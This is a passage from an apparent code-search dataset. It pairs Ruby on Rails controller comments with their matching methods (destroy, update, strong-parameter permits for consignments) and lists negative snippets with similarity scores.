update\n \n respond_to do |format|\n if @cage.update_attributes(params[:cage])\n format.json { head :no_content }\n else\n format.json { render json: @cage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n if @conductor.update_attributes(params[:conductor])\n format.html { redirect_to @conductor, notice: 'Conductor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conductor.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6403328", "0.6294707", "0.6294707", "0.61792785", "0.61617196", "0.60776126", "0.6048915", "0.6040333", "0.6033305", "0.59755737", "0.59654635", "0.59556365", "0.59541935", "0.59223056", "0.5919229", "0.59164006", "0.5899871", "0.5894683", "0.58939004", "0.5884851", "0.5884493", "0.5859963", "0.58439964", "0.5837422", "0.5829426", "0.58255315", "0.58060974", "0.5800823", "0.57993716", "0.5795216", "0.5795121", "0.57915324", "0.57871485", "0.5783932", "0.5752058", "0.57462394", "0.5744499", "0.5730897", "0.571647", "0.5706489", "0.56789905", "0.5674231", "0.5671605", "0.5667467", "0.5663694", "0.5654537", "0.56526107", "0.5649105", "0.56430906", "0.5639609", "0.56326586", "0.5630246", "0.5619058", "0.5615296", "0.5614529", "0.5607584", "0.5605244", "0.56050557", "0.560239", "0.5602265", "0.5599469", "0.55974364", "0.5596008", "0.559344", "0.55871874", "0.55865276", "0.5574684", "0.55699533", "0.5564166", "0.5561981", "0.5559605", "0.55575955", "0.55547386", "0.55491817", "0.5543745", "0.5537866", "0.5530043", "0.5525395", "0.55246204", "0.5523069", "0.5518675", "0.5518208", "0.5516769", "0.55108166", "0.54991436", "0.5498954", "0.5498954", "0.5498954", "0.5498954", "0.5498954", "0.5498954", "0.5498954", "0.5498954", "0.54845726", "0.5473679", "0.54658383", "0.54651797", "0.5459721", "0.5457913", "0.5454664" ]
0.6564134
0
DELETE /consignments/1 DELETE /consignments/1.json
def destroy @consignment.destroy respond_to do |format| format.html { redirect_to consignments_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html {redirect_to consignments_url, notice: 'Consignment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @confection.destroy\n respond_to do |format|\n format.html { redirect_to confections_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @consumo = Consumo.find(params[:id])\n @consumo.destroy\n\n respond_to do |format|\n format.html { redirect_to consumos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @concert = Concert.find(params[:id])\n @concert.destroy\n\n respond_to do |format|\n format.html { redirect_to(concerts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: 'Consumable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: \"Consumable was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @consignee.destroy\n respond_to do |format|\n format.html { redirect_to consignees_url, notice: 'Consignee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @congress.destroy\n respond_to do |format|\n format.html { redirect_to congresses_url, notice: 'Congress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @concert = Concert.find(params[:id])\n @concert.destroy\n\n respond_to do |format|\n format.html { redirect_to(concerts_url, :notice=> 'Concert was deleted.') }\n format.xml { head :ok }\n end\n end", "def destroy\n @concedente = Concedente.find(params[:id])\n @concedente.destroy\n\n respond_to do |format|\n format.html { redirect_to concedentes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @concedente.destroy\n respond_to do |format|\n format.html { redirect_to concedentes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @congresso.destroy\n respond_to do |format|\n format.html { redirect_to congressos_url, notice: 'Congresso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @conseq = Conseq.find(params[:id])\n @conseq.destroy\n\n respond_to do |format|\n format.html { redirect_to(conseqs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @consumo.destroy\n respond_to do |format|\n format.html { redirect_to consumos_url, notice: 'Consumo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @consequence.destroy\n respond_to do |format|\n format.html { redirect_to consequences_url, notice: 'Consequence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @conciert = Conciert.find(params[:id])\n @conciert.destroy\n respond_to do |format|\n format.html { redirect_to group_concierts_url, notice: \"Conciert was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @concour = Concour.find(params[:id])\n @concour.destroy\n\n respond_to do |format|\n format.html { redirect_to concours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contraindication.destroy\n respond_to do |format|\n format.html { redirect_to contraindications_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @concessionary.destroy\n respond_to do |format|\n format.html { redirect_to concessionaries_url, notice: 'Concessionario fue borrado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @convo = Convo.find(params[:id])\n @convo.destroy\n\n respond_to do |format|\n format.html { redirect_to convos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable_object.destroy\n respond_to do |format|\n format.html { redirect_to consumable_objects_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @concurso = Concurso.find(params[:id])\n @concurso.destroy\n\n respond_to do |format|\n format.html { redirect_to concursos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contum = Contum.find(params[:id])\n @contum.destroy\n\n respond_to do |format|\n format.html { redirect_to conta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @colaboration = Colaboration.find(params[:id])\n @colaboration.destroy\n\n respond_to do |format|\n format.html { redirect_to colaborations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cont = Cont.find(params[:id])\n @cont.destroy\n\n respond_to do |format|\n format.html { redirect_to conts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.js {flash[:notice] = 'Concert was succesfully destroyed.'}\n format.json { head :no_content }\n end\n end", "def destroy\n @consorciot.destroy\n respond_to do |format|\n format.html { redirect_to consorciots_url, notice: 'Consorciot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @congestion = Congestion.find(params[:id])\n @congestion.destroy\n\n respond_to do |format|\n format.html { redirect_to congestions_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n Conshejointable.where(:contact_id =>@contact.id).delete_all\n Description.where(:contact_id =>@contact.id).delete_all\n puts @contact.id.to_s + \": \" + @contact.name\n @contact.delete\n respond_to do |format|\n format.html { redirect_to contacts_path, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contaminationstatus.destroy\n respond_to do |format|\n format.html { redirect_to contaminationstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @coconut1.destroy\n respond_to do |format|\n format.html { redirect_to coconut1s_url, notice: 'Coconut1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sivic_contabanco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contabancos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @congregation.destroy\n respond_to do |format|\n format.html { redirect_to congregations_url, notice: 'Congregation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @con_in.destroy\n respond_to do |format|\n format.html { redirect_to con_ins_url, notice: 'Con in was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @capacitacion = Capacitacion.find(params[:id])\n @capacitacion.destroy\n\n respond_to do |format|\n format.html { redirect_to capacitacions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contestant = Contestant.find(params[:id])\n @contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to contestants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bacon.destroy\n respond_to do |format|\n format.html { redirect_to bacons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @insurance_co = InsuranceCo.find(params[:id])\n @insurance_co.destroy\n\n respond_to do |format|\n format.html { redirect_to(insurance_cos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @connaissance.destroy\n respond_to do |format|\n format.html { redirect_to connaissances_url, notice: 'Connaissance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_condo = ContentCondo.find(params[:id])\n @content_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_condos_url }\n format.json { head :no_content }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n if current_user.has_role? :admin\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @conf = Conf.find(params[:id])\n @conf.destroy\n\n respond_to do |format|\n format.html { redirect_to confs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @coment.destroy\n respond_to do |format|\n format.html { redirect_to coments_url, notice: \"Coment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @certification.destroy\n\n respond_to do |format|\n format.html { redirect_to certifications_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @capacidad = Capacidad.find(params[:id])\n @capacidad.destroy\n\n respond_to do |format|\n format.html { redirect_to capacidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @circulation = Circulation.find(params[:id])\n @circulation.destroy\n\n respond_to do |format|\n format.html { redirect_to circulations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @congestion.destroy\n respond_to do |format|\n format.html { redirect_to congestions_url, notice: 'Congestion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @convidado.destroy\n respond_to do |format|\n format.html { redirect_to convidados_url, notice: 'Convidado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @conductum.destroy\n respond_to do |format|\n format.html { redirect_to conducta_url, notice: 'Conductum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contrac_establishment.destroy\n respond_to do |format|\n format.html { redirect_to contrac_establishments_url, notice: 'Contrac establishment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hr_config_contract.destroy\n respond_to do |format|\n format.html { redirect_to hr_config_contracts_url, notice: 'Contract was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cage.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @fale_conosco.destroy\n respond_to do |format|\n format.html { redirect_to fale_conoscos_url, notice: 'Fale conosco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @convenio = Convenio.find(params[:id])\n @convenio.destroy\n\n respond_to do |format|\n format.html { redirect_to(convenios_url) }\n format.xml { head :ok }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end", "def destroy\n @contract.destroy\n respond_to do |format|\n format.html { redirect_to contracts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @deco1.destroy\n respond_to do |format|\n format.html { redirect_to deco1s_url, notice: 'Deco1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @contratacion = Contratacion.find(params[:id])\n @contratacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(contratacions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contratacao = Contratacao.find(params[:id])\n @contratacao.destroy\n\n respond_to do |format|\n format.html { redirect_to contratacoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @administracao_concurso.destroy\n respond_to do |format|\n format.html { redirect_to administracao_concursos_url, notice: 'Concurso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contract_doc_category = ContractDocCategory.find(params[:id])\n @contract_doc_category.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_doc_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @central_correio = CentralCorreio.find(params[:id])\n @central_correio.destroy\n\n respond_to do |format|\n format.html { redirect_to central_correios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @information_cone.destroy\n respond_to do |format|\n format.html { redirect_to information_cones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @expensesbasis.destroy\n respond_to do |format|\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_item_condo = ContentItemCondo.find(params[:id])\n @content_item_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_item_condos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @conf.destroy\n respond_to do |format|\n format.html { redirect_to confs_url, notice: 'Conf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @conf.destroy\n respond_to do |format|\n format.html { redirect_to confs_url, notice: 'Conf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @coment.destroy\n respond_to do |format|\n format.html { redirect_to @coment.post, notice: 'Комментарий был удален' }\n format.json { head :no_content }\n end\n end", "def destroy\n @incidence.destroy\n respond_to do |format|\n format.html { redirect_to incidences_url, notice: 'Incidencia eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @conn = current_user.conns.find(params[:id])\n @conn.destroy\n\n respond_to do |format|\n format.html { redirect_to conns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @correo = Correo.find(params[:id])\n @correo.destroy\n\n respond_to do |format|\n format.html { redirect_to correos_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @correlation = Correlation.find(params[:id])\n @correlation.destroy\n\n respond_to do |format|\n format.html { redirect_to correlations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contract.destroy\n respond_to do |format|\n format.html { redirect_to contracts_url, notice: 'El contrato se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_transaction = ClientTransaction.find(params[:id])\n @client_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to client_transactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @corp.destroy\n respond_to do |format|\n format.html { redirect_to corps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collaboration.destroy\n respond_to do |format|\n format.html { redirect_to collaborations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @secubat_client = SecubatClient.find(params[:id])\n @secubat_client.destroy\n\n respond_to do |format|\n format.html { redirect_to secubat_clients_url }\n format.json { head :ok }\n end\n end" ]
[ "0.7197135", "0.7153355", "0.7153355", "0.7153355", "0.7153081", "0.7095347", "0.70908487", "0.6935456", "0.69350666", "0.69225204", "0.6900589", "0.6899424", "0.688592", "0.6876435", "0.6813495", "0.67988205", "0.6797606", "0.67936486", "0.67827827", "0.67798585", "0.67653286", "0.67356366", "0.6724172", "0.6698664", "0.6694237", "0.6692297", "0.6689294", "0.6671247", "0.6670872", "0.66705793", "0.6669393", "0.66617167", "0.66371363", "0.660706", "0.66017103", "0.6560695", "0.65557706", "0.65553653", "0.65508366", "0.6544629", "0.653731", "0.65340036", "0.6529042", "0.6521079", "0.6491893", "0.6485237", "0.6483006", "0.64738905", "0.64693356", "0.6468241", "0.64681226", "0.6466883", "0.646507", "0.6460117", "0.64549404", "0.64516973", "0.6450749", "0.64398587", "0.6438172", "0.6435701", "0.6434002", "0.64293176", "0.64282924", "0.64272875", "0.6425243", "0.6424419", "0.6419306", "0.64187413", "0.6415069", "0.64130896", "0.6401174", "0.63990206", "0.63922596", "0.63907385", "0.6386039", "0.6377333", "0.63771665", "0.6372965", "0.63723946", "0.63721323", "0.63718355", "0.63709664", "0.63658696", "0.6360353", "0.6360353", "0.6358358", "0.63580155", "0.63572705", "0.63561666", "0.63538265", "0.63538265", "0.63538265", "0.63538265", "0.6344776", "0.6343379", "0.6343349", "0.633985", "0.63383836", "0.6335696", "0.63334817" ]
0.7501797
0
Use callbacks to share common setup or constraints between actions.
def set_consignment @consignment = Consignment.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.61637366", "0.60446453", "0.59452957", "0.591511", "0.58885515", "0.5834122", "0.57761765", "0.5702554", "0.5702554", "0.5652102", "0.5619581", "0.5423898", "0.5409782", "0.5409782", "0.5409782", "0.5394745", "0.53780794", "0.5356209", "0.5338898", "0.53381324", "0.5328622", "0.5309231", "0.5296901", "0.529641", "0.5296097", "0.5258364", "0.5242683", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.52346426", "0.52320486", "0.5225926", "0.52210605", "0.52171826", "0.52138335", "0.5207914", "0.52069265", "0.5176269", "0.5174653", "0.51730466", "0.51650184", "0.5161409", "0.5156175", "0.5154185", "0.5151096", "0.5151089", "0.51452935", "0.5138662", "0.51339483", "0.5113475", "0.51132", "0.51132", "0.5108031", "0.51075375", "0.5090693", "0.50892115", "0.5081523", "0.5081454", "0.5064919", "0.50545585", "0.50531805", "0.50501585", "0.50501585", "0.50329936", "0.5024674", "0.50203156", "0.50156844", "0.50149846", "0.50011337", "0.4999346", "0.49984375", "0.4988749", "0.4988749", "0.49842322", "0.49800175", "0.4979922", "0.49791628", "0.49666047", "0.49655434", "0.49559638", "0.49557537", "0.49554902", "0.4953974", "0.49519545", "0.49449277", "0.49440357", "0.49329734", "0.49315402", "0.49261367", "0.4925912", "0.4925598", "0.4924306", "0.49202663", "0.49167567", "0.49164373", "0.4915191", "0.49145022", "0.49140996" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def consignment_params params.require(:consignment).permit(:owner_id, :good_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
